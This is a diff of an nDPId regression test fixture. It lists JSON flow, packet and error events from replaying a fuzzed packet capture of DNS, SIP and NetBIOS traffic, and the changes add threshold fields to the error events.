00767{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":575,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":217,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470891857378,"flow_src_last_pkt_time":1120470891857378,"flow_dst_last_pkt_time":1120470891857378,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470891857378,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":19192,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00567{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":575,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":217,"flow_packet_id":1,"flow_src_last_pkt_time":1120470891857378,"flow_dst_last_pkt_time":1120470891857378,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120470891857378,"pkt":"ADBUADRWAODtAW69CABFAABIa1YAAIARS3zAqAECwKgBAUr4ADUAND6u6x4BAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} @@ -1661,9 +1661,9 @@ 00768{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":590,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":224,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470916875212,"flow_src_last_pkt_time":1120470916875212,"flow_dst_last_pkt_time":1120470916875212,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":63,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":63,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":63,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470916875212,"l3_proto":"ip4","src_ip":"192.168.233.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2811,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00593{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":590,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":224,"flow_packet_id":1,"flow_src_last_pkt_time":1120470916875212,"flow_dst_last_pkt_time":1120470916875212,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"thread_ts_usec":1120470916875212,"pkt":"AODtAW69ADBUADRWCABFAABbAABAAEARtz7AqOkBwKgBAgA1CvsAR689eAKAAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAaqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} 01013{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":590,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":224,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470916875212,"flow_src_last_pkt_time":1120470916875212,"flow_dst_last_pkt_time":1120470916875212,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":63,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":63,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":63,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470916875212,"l3_proto":"ip4","src_ip":"192.168.233.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2811,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"1.0.0.127.in-addr.arpa","dns": {"num_queries":1,"num_answers":1,"reply_code":0,"query_type":0,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} -00202{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":591,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":43690,"global_ts_usec":1120470916876463} +00302{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470916876463,"packet_id":591,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":43690,"global_ts_usec":1120470916876463} 00351{"packet_event_id":1,"packet_event_name":"packet","packet_id":591,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":47,"pkt_type":43690,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":47,"pkt_l4_len":0,"thread_ts_usec":1120470916875212,"pkt":"ADBUADRWAODtAaqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} -00201{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":592,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":3072,"global_ts_usec":1120470923515411} +00301{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470923515411,"packet_id":592,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":3072,"global_ts_usec":1120470923515411} 00419{"packet_event_id":1,"packet_event_name":"packet","packet_id":592,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":92,"pkt_type":3072,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":92,"pkt_l4_len":0,"thread_ts_usec":1120470916875212,"pkt":"\/\/\/\/\/\/\/\/AODtAW4zDABFAABOa+AAAIARSm3AqAECwKgB\/wCJAIkAOltBhVoBEAABAAAAAAAAIEVGRURFSkZQRUVFUEVORUJFSkVPQ0FDQUNBQ0FDQUJNAAAgAAE="} 00768{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":593,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":225,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470924263958,"flow_src_last_pkt_time":1120470924263958,"flow_dst_last_pkt_time":1120470924263958,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":50,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":50,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":50,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470924263958,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.255","src_port":137,"dst_port":905,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00584{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":593,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":225,"flow_packet_id":1,"flow_src_last_pkt_time":1120470924263958,"flow_dst_last_pkt_time":1120470924263958,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"thread_ts_usec":1120470924263958,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAABOa+EAAIARSmzAqAECwKgB\/wCJA4kAOltBhVoBEAABAAAAAAAAIEVGRURFSkZQRUVFUEVORUJFSkVIQ0FDQUNBQ0FDQUJNAAAgAAE="} @@ -1683,7 +1683,7 @@ 00567{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":596,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":226,"flow_packet_id":2,"flow_src_last_pkt_time":1120470950421611,"flow_dst_last_pkt_time":1120470949427890,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120470950421611,"pkt":"ADBUADRWAODtAW49CABFAABIa+QAAIARS23AqAECwKgBAQr8ADUANNjGUZgBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 01024{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":596,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":226,"flow_state":"info","flow_src_packets_processed":2,"flow_dst_packets_processed":0,"flow_first_seen":1120470949427890,"flow_src_last_pkt_time":1120470950421611,"flow_dst_last_pkt_time":1120470949427890,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":88,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470950421611,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2812,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"_sip._udp.sip.cybercity.dk","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} 00567{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":597,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":226,"flow_packet_id":3,"flow_src_last_pkt_time":1120470952424495,"flow_dst_last_pkt_time":1120470949427890,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120470952424495,"pkt":"ADBUADRWAODtAW69CABFAABIa+UAAIARS2zAqAECwKgBAQr8ADUANNjGUQIBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} -00219{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":598,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52,"global_ts_usec":1120470954427379} +00319{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470954427379,"packet_id":598,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52,"global_ts_usec":1120470954427379} 00402{"packet_event_id":1,"packet_event_name":"packet","packet_id":598,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"thread_ts_usec":1120470952424495,"pkt":"ADBUADRWAODtAW69CABFAABIa+YAEIARS6qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} 00913{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":600,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":190,"flow_state":"finished","flow_src_packets_processed":2,"flow_dst_packets_processed":1,"flow_first_seen":1120470764674629,"flow_src_last_pkt_time":1120470765675908,"flow_dst_last_pkt_time":1120470768028248,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":34,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":34,"flow_dst_max_l4_payload_len":127,"flow_src_tot_l4_payload_len":68,"flow_dst_tot_l4_payload_len":127,"midstream":0,"thread_ts_usec":1120470958433169,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2793,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00769{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":600,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":191,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470774132541,"flow_src_last_pkt_time":1120470774132541,"flow_dst_last_pkt_time":1120470774132541,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":34,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":34,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":34,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470958433169,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.108.1","src_port":2794,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} @@ -1717,23 +1717,23 @@ 00766{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":600,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":227,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470966440815,"flow_src_last_pkt_time":1120470966440815,"flow_dst_last_pkt_time":1120470966440815,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":40,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":40,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":40,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470966440815,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2813,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00563{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":600,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":227,"flow_packet_id":1,"flow_src_last_pkt_time":1120470966440815,"flow_dst_last_pkt_time":1120470966440815,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"thread_ts_usec":1120470966440815,"pkt":"ADBUADRWAODtAW69CABFAABEa+gAAIARS23AqAECwKgBAQr9ADUAMIS+oAMAAAABAAAAAAAAATEBMAEwEzEyNwdpbi1hZGByBGFycGEAAAwAAQ=="} 01135{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":600,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":227,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470966440815,"flow_src_last_pkt_time":1120470966440815,"flow_dst_last_pkt_time":1120470966440815,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":40,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":40,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":40,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470966440815,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2813,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17": {"risk":"Malformed Packet","severity":"Low","risk_score": {"total":260,"client":130,"server":130}}},"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"1.0.0.127?in-ad_r?arpa???","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} -00219{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":601,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":71,"global_ts_usec":1120470966442326} +00319{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470966442326,"packet_id":601,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":71,"global_ts_usec":1120470966442326} 00428{"packet_event_id":1,"packet_event_name":"packet","packet_id":601,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"thread_ts_usec":1120470966440815,"pkt":"AJrtBW69ADBUADRWCABFAJFbeQBAAEARtz7AqAEBwKgBAgA1Cv0AR2c6oAOAAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGTyBGFycGEAAAwAAcAMAAwAAQAAJxAACwlsb2NhbGhvc3QA"} -00220{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":602,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":822,"global_ts_usec":1120470966443914} +00320{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470966443914,"packet_id":602,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":822,"global_ts_usec":1120470966443914} 01433{"packet_event_id":1,"packet_event_name":"packet","packet_id":602,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":856,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":856,"pkt_l4_len":0,"thread_ts_usec":1120470966440815,"pkt":"ADBUADRWAODtAW69CABFAGtKa+kAAIARE\/rAqAEC1PIhIxPEE8QDNtslSU5WSVRFIHNpcDozNTEwNDcyNEBzaXAuY3liZXJraXR5LmRrIFNJUC8yLjANClZpYbcgU0lQLzIuMC9VRFAgMY4yLjE2OC4xLjI6NTA2MDticmFuY2g9ejloRzRiS25wMTE4ODgyOTgtNDQ4ZTM3NzcxOaqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} 00766{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":605,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":228,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470966852771,"flow_src_last_pkt_time":1120470966852771,"flow_dst_last_pkt_time":1120470966852771,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470966852771,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2814,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00567{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":605,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":228,"flow_packet_id":1,"flow_src_last_pkt_time":1120470966852771,"flow_dst_last_pkt_time":1120470966852771,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120470966852771,"pkt":"ADBUADR2AODtAW69CABFAABIa+sAAIARS2bAqAECwKgBAQr+ADUANOrBPwUBAAABAAAAAAAABF9zaXAEX3VkcAJzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 01110{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":605,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":228,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470966852771,"flow_src_last_pkt_time":1120470966852771,"flow_dst_last_pkt_time":1120470966852771,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470966852771,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2814,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17": {"risk":"Malformed Packet","severity":"Low","risk_score": {"total":260,"client":130,"server":130}}},"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} -00219{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":606,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52,"global_ts_usec":1120470967846650} +00319{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470967846650,"packet_id":606,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52,"global_ts_usec":1120470967846650} 00402{"packet_event_id":1,"packet_event_name":"packet","packet_id":606,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"thread_ts_usec":1120470966852771,"pkt":"ADBUADRWAODtAW69CABFAABIa+yjAIARS2XAqAECwKgBAQr+ADUANOrBPwUBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} -00198{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":607,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":0,"global_ts_usec":1120470969849552} +00298{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":4,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470969849552,"packet_id":607,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":0,"global_ts_usec":1120470969849552} 00399{"packet_event_id":1,"packet_event_name":"packet","packet_id":607,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":86,"pkt_type":0,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"thread_ts_usec":1120470966852771,"pkt":"ADBUADRWAODtASVzAABFAABIa+0AAIARS2TAqAECwKgBAQr+ADUANOrBPwUBAAABAAAAAAAABGRzaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} -00198{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":608,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":0,"global_ts_usec":1120470971072344} +00298{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":5,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470971072344,"packet_id":608,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":0,"global_ts_usec":1120470971072344} 00417{"packet_event_id":1,"packet_event_name":"packet","packet_id":608,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":92,"pkt_type":0,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":92,"pkt_l4_len":0,"thread_ts_usec":1120470966852771,"pkt":"\/\/\/\/\/\/\/\/AODtAW69AABFAABOa+4AAIARSl\/AqAECwKgB\/wCJAIkAOlt8hV8BEAABAAAAAAAAIEVGRW9FSkZQRUVFUEVORUJFSkVPQ0FDQUNBQ0FDQTVNAAAgAAE="} 00769{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":611,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":229,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470971822331,"flow_src_last_pkt_time":1120470971822331,"flow_dst_last_pkt_time":1120470971822331,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":50,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":50,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":50,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470971822331,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.37","src_port":29440,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00583{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":611,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":229,"flow_packet_id":1,"flow_src_last_pkt_time":1120470971822331,"flow_dst_last_pkt_time":1120470971822331,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"thread_ts_usec":1120470971822331,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAABOa+8AAIARSl7AqAECwKgBJXMAAIkAOls8hV8BEAABAAAAAAAAIUVGRURFSkZQRUVFUEVORUJFSkVPQ0FDQUNBQ0FDQUJNAAAgAAE="} 00891{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":611,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":229,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470971822331,"flow_src_last_pkt_time":1120470971822331,"flow_dst_last_pkt_time":1120470971822331,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":50,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":50,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":50,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470971822331,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.37","src_port":29440,"dst_port":137,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"NetBIOS","proto_id":"10","encrypted":0,"breed":"Acceptable","category_id":18,"category":"System","hostname":""}} -00219{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":612,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52,"global_ts_usec":1120470971852414} +00319{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":6,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470971852414,"packet_id":612,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52,"global_ts_usec":1120470971852414} 